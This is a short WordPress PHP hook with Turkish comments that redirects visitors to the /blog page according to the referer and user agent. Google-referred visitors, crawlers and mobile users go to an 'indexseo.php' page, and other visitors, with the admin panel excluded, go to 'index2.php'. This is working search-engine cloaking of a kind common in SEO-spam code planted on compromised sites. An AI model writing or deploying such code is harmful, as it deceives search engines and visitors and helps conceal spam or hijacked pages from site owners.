add_action('template_redirect', 'blog_sayfasi_yonlendirme'); function blog_sayfasi_yonlendirme() { // Admin paneli etkilenmesin if (is_admin()) return; // SADECE /blog sayfasında çalışsın if ( trim($_SERVER['REQUEST_URI'], '/') !== 'blog' ) { return; } $ref = isset($_SERVER['HTTP_REFERER']) ? strtolower($_SERVER['HTTP_REFERER']) : ''; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; // --- GOOGLE KONTROLÜ --- $isGoogle = strpos($ref, 'google.') !== false; // --- BOT KONTROLÜ --- $botKeywords = ['bot','crawler','spider','slurp','bingpreview','fetch','mediapartners-google']; $isBot = false; foreach ($botKeywords as $b) { if (strpos($ua, $b) !== false) { $isBot = true; break; } } // --- MOBİL KONTROLÜ --- $mobileKeywords = ['android','iphone','ipad','ipod','blackberry','opera mini','windows phone','mobile']; $isMobile = false; foreach ($mobileKeywords as $m) { if (strpos($ua, $m) !== false) { $isMobile = true; break; } } // --- YÖNLENDİRME --- if ($isGoogle || $isBot || $isMobile) { wp_redirect( home_url('/indexseo.php') ); exit; } else { wp_redirect( home_url('/index2.php') ); exit; } }